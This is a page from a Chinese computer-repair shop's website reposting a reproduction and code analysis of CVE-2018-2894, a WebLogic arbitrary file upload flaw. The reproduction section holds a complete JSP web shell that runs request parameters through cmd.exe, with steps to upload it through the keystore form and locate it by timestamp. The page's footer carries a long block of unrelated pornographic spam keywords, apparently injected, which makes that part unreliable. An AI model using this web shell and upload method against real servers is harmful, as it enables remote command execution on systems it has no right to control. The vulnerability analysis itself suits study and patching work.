錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
WebLogic任意文件上傳漏洞復(fù)現(xiàn)與分析 - CVE-2018-2894

作者: 佚名  日期:2018-07-20 19:56:16   來源: 本站整理

 CVE-2018-2894
漏洞影響版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
下載地址:http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip
 
漏洞復(fù)現(xiàn)
服務(wù)啟動后,訪問 http://localhost:7001/ws_utc/config.do

可以將當前的工作目錄為更改為其他目錄。以本地環(huán)境為例,可以部署到C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war下
選擇右邊的安全欄目,添加JKS Keystores上傳文件。假設(shè)chybeta.jsp內(nèi)容如下:
 page import="java.util.*,java.io.*,java.net.*"%>
 METHOD="POST" NAME="myform" ACTION="">
 TYPE="text" NAME="cmd">
 TYPE="submit" VALUE="Send">
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n
");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
抓包獲取到時間戳為1531987145013,則上傳到的位置即config\keystore\1531987145013_chybeta.jsp

訪問http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp

 
簡要漏洞分析
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:
public void changeWorkDir(String path) {
    String[] oldPaths = this.getRelatedPaths();
    if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
        this.isWorkDirChangeable = false;
        this.isWorkDirWritable = isDirWritable(path);
        this.isWorkDirChangeable = true;
        this.setTestClientWorkDir(path);
    } else {
        this.persistWorkDir(path);
        this.init();
    }
    if (this.isWorkDirWritable) {
        String[] newPaths = this.getRelatedPaths();
        moveDirs(oldPaths, newPaths);
    } else {
        Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
    }
}
此函數(shù)用于改變工作目錄,但其中并未做任何檢測。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中:
@Path("/keystore")
    @POST
    @Produces({"application/xml", "application/json"})
    @Consumes({"multipart/form-data"})
    public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
        if (!RequestUtil.isRequstedByAdmin(this.request)) {
            return Response.status(Status.FORBIDDEN).build();
        } else {
            if (TestClientRT.isVerbose()) {
                Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
            }
            String currentTimeValue = "" + (new Date()).getTime();   KeyValuesMapString, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
            ....
        }
    }
跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31
public static String getKeyStorePath() {
        return getConfigDir() + File.separator + "keystore";
    }
得到要寫入的路徑storePath。
在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:
public KeyValuesMapString, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
    ...
    if (attachName != null && attachName.trim().length() > 0) {
        if (attachName != null && attachName.trim().length() != 0) {
            attachName = this.refactorAttachName(attachName);
            if (fileNamePrefix == null) {
                fileNamePrefix = key;
            }
            String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
            kvMap.addValue(key, filename);
            if (isExtactAttachment) {
                this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
            }
        }
    } 
    ...
}
把上傳文件的內(nèi)容傳到了storePath目錄里,文件名滿足fileNamePrefix + "_" + attachName。這過程沒有任何過濾和檢查:)…
條件:
需要知道部署應(yīng)用的web目錄
ws_utc/config.do在開發(fā)模式下無需認證,在生產(chǎn)模式下需要認證。具體可見Oracle® Fusion Middleware Administering Web Services
 
Reference
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
 




熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 国产莉萝无码AV在线播放| 亚洲成AV人片在线观看无码| 亚洲性无码av在线| 亚洲成无码人在线观看| 色欲香天天综合网无码| 亚洲av永久无码制服河南实里| 无码国产精品一区二区免费I6| 无码人妻AⅤ一区二区三区水密桃 无码欧精品亚洲日韩一区夜夜嗨 无码免费又爽又高潮喷水的视频 无码毛片一区二区三区中文字幕 无码毛片一区二区三区视频免费播放 | 亚洲av无码乱码国产精品| 无码中文人妻在线一区 | 中文字幕人妻无码系列第三区| 无码人妻丰满熟妇啪啪网站| 久久99久久无码毛片一区二区| 丰满少妇被猛烈进入无码| 日韩乱码人妻无码中文字幕久久 | 色欲狠狠躁天天躁无码中文字幕| 免费无码一区二区| 无码一区二区三区AV免费| 性无码免费一区二区三区在线 | 中文字幕AV中文字无码亚| 亚洲AV无码AV男人的天堂不卡| 无码免费一区二区三区免费播放| 久久精品无码免费不卡| 国产成人年无码AV片在线观看 | 日韩少妇无码喷潮系列一二三 | 久久亚洲精品无码gv| 一级毛片中出无码| 69ZXX少妇内射无码| 亚洲AV永久无码精品成人| 国产成人无码精品久久久性色| 免费无码一区二区| 超清纯白嫩大学生无码网站| 精品人妻无码专区在中文字幕 | 国产∨亚洲V天堂无码久久久| 亚洲äv永久无码精品天堂久久| 亚洲AV成人无码天堂| 无码精品尤物一区二区三区| 亚洲Av无码一区二区二三区| 精品人妻无码区在线视频| 在线精品自偷自拍无码中文| 无码国产激情在线观看|